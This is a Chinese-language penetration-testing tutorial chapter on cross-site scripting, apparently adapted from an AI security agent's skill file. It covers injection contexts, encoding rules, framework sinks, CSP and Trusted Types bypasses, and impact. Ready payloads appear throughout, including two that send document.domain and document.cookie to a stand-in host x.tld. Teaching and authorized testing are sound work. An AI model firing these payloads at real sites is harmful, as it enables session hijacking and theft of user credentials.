第 6 章 · 01 跨站脚本(XSS)


文档摘要

第 6 章 · 01 跨站脚本(XSS) 本节摘要:跨站脚本(XSS)经久不衰,根因是「上下文(context)、解析器(parser)、框架边界」三者都极复杂。它分反射型、存储型、DOM 型三大类,贯穿 Web、移动壳、桌面壳;注入上下文从 HTML 文本、属性、URL、JS、CSS 到 SVG/MathML、Markdown、PDF,每一类的编码规则都不同。现代前端框架(React/Vue/Angular/Svelte)的自动转义并非保险箱—— 、 、 、 等显式信任接口照样能注入;CSP 与 Trusted Types 是运行时防线,但弱策略、script gadget、base 注入、JSONP 端点都能绕过。

第 6 章 · 01 跨站脚本(XSS)

本节摘要:跨站脚本(XSS)经久不衰,根因是「上下文(context)、解析器(parser)、框架边界」三者都极复杂。它分反射型、存储型、DOM 型三大类,贯穿 Web、移动壳、桌面壳;注入上下文从 HTML 文本、属性、URL、JS、CSS 到 SVG/MathML、Markdown、PDF,每一类的编码规则都不同。现代前端框架(React/Vue/Angular/Svelte)的自动转义并非保险箱——dangerouslySetInnerHTMLv-html$sce.trustAsHtml{@html} 等显式信任接口照样能注入;CSP 与 Trusted Types 是运行时防线,但弱策略、script gadget、base 注入、JSONP 端点都能绕过。本节讲透攻击面、上下文分类与编码规则、DOM XSS/Mutation XSS/模板注入/CSP 绕过的具体技术、按上下文裁剪的 polyglot,以及从「弹框」走向数据外带与会话劫持的后利用路径。

内容来源:原项目知识包 strix/skills/vulnerabilities/xss.md,汉化并套用体系化模板。

⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。

学习目标

阅读完本节,你应当能够:

  1. 识别 XSS 的典型攻击面(三大类型、七大上下文、框架显式信任接口)。
  2. 掌握上下文编码规则(HTML/属性/URL/JS/CSS/SVG 各自要编码什么)。
  3. 复现 DOM XSS、Mutation XSS、模板注入、CSP 绕过、Trusted Types 绕过的关键技术
  4. 按上下文裁剪一套最小可用 polyglot payload
  5. 列举主流框架(React/Vue/Angular/Svelte/Markdown)各自的危险 sink
  6. 用验证步骤确认漏洞、排除误报,并把影响从「弹框」升级到数据外带/会话劫持
  7. 评估 XSS 的影响等级与后利用价值。

一、攻击面

三大类型:

  • 反射型(Reflected):输入经 URL/参数即时回显,单次点击触发。
  • 存储型(Stored):输入持久化(评论、个人资料、消息),任何访问者命中,危害最大。
  • DOM 型:完全在客户端,服务器不参与回显——数据源流向 sink,框架/JS 直接写入 DOM。

七大注入上下文(每个上下文的编码规则都不同,见第二节):

  • HTML 文本节点
  • HTML 属性值(引号 vs 无引号)
  • URL 与 javascript: URL
  • JavaScript 字符串 / 代码块 / 事件处理器
  • CSS(尤其 url()expression())
  • SVG / MathML(活动内容,onload/动画事件触发)
  • Markdown / 富文本 / PDF 渲染器

注入点(数据源 → sink 的入口):

入口类别 典型位置
服务端渲染 模板引擎(Jinja/EJS/Handlebars)、SSR 框架、邮件/PDF 渲染器
客户端渲染 innerHTML/outerHTML/insertAdjacentHTML、模板字符串
框架显式信任 React dangerouslySetInnerHTML、Vue v-html、Angular $sce.trustAsHtml、Svelte {@html}
URL / DOM location.hash/searchdocument.referrerbase hrefdata-* 属性
事件/处理器 onerror/onload/onfocus/onclickjavascript: URL 处理器
跨上下文 postMessage 载荷、WebSocket 消息、localStorage/sessionStorage、IndexedDB
文件/元数据 图片/SVG/XML 文件名与 EXIF、服务端/客户端处理的 Office 文档

要绕过的防线:CSP、Trusted Types、DOMPurify、框架自动转义。

💡 核心心法:上下文 + sink 决定执行。先分类上下文,再选 payload;对每一处用户影响的字符串,在它进入的确切 sink 上严格编码,并由运行时策略(CSP/Trusted Types)兜底。粗暴跑 payload 字典是低效的。

二、检测通道(上下文编码规则)

XSS 的「检测」本质是判断「输入在某个上下文中是否被正确编码」。各类上下文应编码的字符集如下,违反任何一条都可能形成注入:

  • HTML 文本:编码 < > & " '
  • 属性值:编码 " ' < > &,且属性必须带引号;避免无引号属性。
  • URL / JS URL:编码并校验 scheme(允许 https/mailto/tel,拒绝 javascript:/data:)。
  • JS 字符串:转义引号、反斜杠、换行;优先用 JSON.stringify
  • CSS:避免把用户输入插进 style;净化属性名/值;警惕 url()expression()
  • SVG / MathML:当作活动内容对待;许多标签可通过 onload 或动画事件执行。

多通道路由:同一数据可能在 REST、GraphQL、WebSocket、SSE、Service Worker 多条路径中渲染;SSR vs CSR vs hydration 的渲染路径不同,转义也可能不同——每条都要测。

三、利用方法与技术

DOM XSS

数据源:location.*(hash/search)、document.referrerpostMessage、storage、service worker 消息。
Sink:innerHTML/outerHTML/insertAdjacentHTMLdocument.writesetAttribute、字符串形态的 setTimeout/setIntervaleval/Function、blob URL 形态的 new Worker

漏洞模式:

const q = new URLSearchParams(location.search).get('q'); results.innerHTML = `<li>${q}</li>`;

利用:?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>

Mutation XSS

利用解析器修复机制,把「看似安全」的标记变形为可执行代码:

<noscript><p title="</noscript><img src=x onerror=alert(1)> <form><button formaction=javascript:alert(1)>

这类绕过专门对付「先 sanitize 再被浏览器二次解析」的净化器——浏览器修复畸形 HTML 时,净化后的 DOM 与重新序列化的字符串可能不一致。

模板注入

服务端或客户端模板对表达式求值(AngularJS 旧版、Handlebars helper、lodash 模板):

{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}

CSP 绕过

  • 弱策略:缺 nonce/hash、通配符、允许 data:/blob:、允许内联事件。
  • Script gadget:JSONP 端点、暴露函数构造器的库(在允许的源内提供可执行入口)。
  • import maps / modulepreload:宽松策略下可重定向模块加载。
  • base 标签注入:改写相对脚本 URL 的基地址。
  • 动态模块导入:在允许的源上做 import()

Trusted Types 绕过

  • 自定义 policy 返回未净化字符串;滥用 policy 白名单。
  • Trusted Types 未覆盖的 sink(CSS、URL 处理器),经由 gadget 中转。

四、绕过技巧

按上下文裁剪的 polyglot

维护一套精简、按上下文调校的 payload,远胜于跑大字典:

  • HTML 节点:<svg onload=alert(1)>
  • 属性(带引号):" autofocus onfocus=alert(1) x="
  • 属性(无引号):onmouseover=alert(1)
  • JS 字符串:"-alert(1)-"
  • URL:javascript:alert(1)

框架特定绕过

框架 主要 sink 绕过要点
React dangerouslySetInnerHTML;事件处理器/URL 来自不可信输入 经未净化的库注入;自定义渲染器用 innerHTML
Vue v-html;动态属性绑定 SSR hydration 不匹配会重新解释内容
Angular 旧版(<1.6)表达式注入;$sce 信任 API 被滥用 | $sce.trustAsHtml 把攻击者内容加入白名单
Svelte {@html};动态属性 动态属性若未转义可注入
Markdown/富文本 渲染器常允许 HTML 透传;插件可能重新启用原始 HTML 渲染再净化;禁止内联 HTML 或限制为安全白名单

特殊上下文

  • 邮件:多数客户端剥脚本但允许 CSS/远程内容;只在相关时用 CSS/URL 技巧,别假设能执行 JS。
  • PDF/文档:PDF 引擎可能在注释或链接中执行 JS;测链接与 submit 动作里的 javascript:
  • 文件上传:以 text/htmlimage/svg+xml 提供的 SVG/HTML 上传可内联执行;校验 content-type 与 Content-Disposition: attachment,加 X-Content-Type-Options: nosniff 防 MIME 嗅探绕过。

💡 绕过的本质:防御常在某一条路径(某上下文、某渲染管线、某传输通道)上失效。变换编码、空白、大小写,或换一条渲染路径(SSR vs CSR vs hydration)即可命中未净化的分支。

五、验证与误报排除

确认一个 XSS 真实存在的稳妥步骤:

  1. 最小 payload + 上下文证据:给出最小 payload 与上下文(sink 类型),附前后 DOM 或网络证据。
  2. 跨浏览器:相关时演示跨浏览器执行,或解释解析器特有行为。
  3. 证明绕过防线:对声称的防御(净化器配置、CSP/Trusted Types)给出绕过证据。
  4. 量化影响:超越 alert——访问了什么数据、执行了什么动作、实现了什么持久化。

常见误报:

  • 反射内容在确切上下文中已被安全编码。
  • CSP 带 nonce/hash 且无内联/事件处理器。
  • sink 上强制了 Trusted Types;DOMPurify 处于 strict 模式且带 URI 白名单。
  • 可脚本化的上下文被禁用(无 HTML 透传、URL scheme 受控)。

六、影响评估

  • 会话劫持与凭据窃取:token/cookie 外带。
  • 账户接管:经 token 外带接管账户。
  • CSRF 链式:在已劫持的会话上完成状态变更动作。
  • 恶意软件分发与钓鱼:利用受信任域的可信外观。
  • 持久化失陷:注册 service worker——即便用户刷新,恶意 worker 仍拦截请求、重新注入脚本。

⚠️ 一个「只能弹框」的 XSS 往往意味着还没追到 sink。优先做影响驱动的 PoC(外带、CSRF 链),而非停留在 alert

本节要点回顾

  1. 核心心法:上下文 + sink 决定执行——先分类上下文(HTML/属性/URL/JS/CSS/SVG/Markdown),再选 payload;对每处用户影响的字符串,在确切 sink 上严格编码,并由 CSP/Trusted Types 运行时兜底。
  2. 三大类型:反射型(单次)、存储型(持久,危害最大)、DOM 型(纯客户端,服务端无回显)。
  3. 七大上下文:HTML 文本、属性(引号/无引号)、URL/JS URL、JS 字符串/代码块/事件、CSS(url()/expression())、SVG/MathML(活动内容)、Markdown/富文本/PDF。
  4. 关键技术:DOM XSS(source→sink)、Mutation XSS(解析器修复变形)、模板注入(表达式求值)、CSP 绕过(弱策略/script gadget/base 注入/JSONP)、Trusted Types 绕过(自定义 policy/未覆盖 sink)。
  5. 框架危险 sink:React dangerouslySetInnerHTML、Vue v-html、Angular $sce/旧版表达式、Svelte {@html}、Markdown 渲染器 HTML 透传。
  6. polyglot 思路:按上下文裁剪最小 payload(<svg onload>/" autofocus onfocus/onmouseover/"-alert(1)-"/javascript:),远胜跑大字典。
  7. 验证四步:最小 payload+上下文证据、跨浏览器、证明绕过防线、量化影响;警惕「确切上下文已编码」「CSP 带 nonce」「DOMPurify strict」等真实误报。
  8. 影响:从会话/凭据窃取、账户接管、CSRF 链式到 service worker 持久化;一个只能弹框的 XSS 往往还没追到真正的 sink。

下一节,我们看 CSRF(跨站请求伪造)——它不靠 payload,而靠「浏览器自动带上 cookie」这一环境凭据,逼服务器为攻击者执行状态变更。


发布者: 作者: 灏天文库 转发
评论区 (0)
U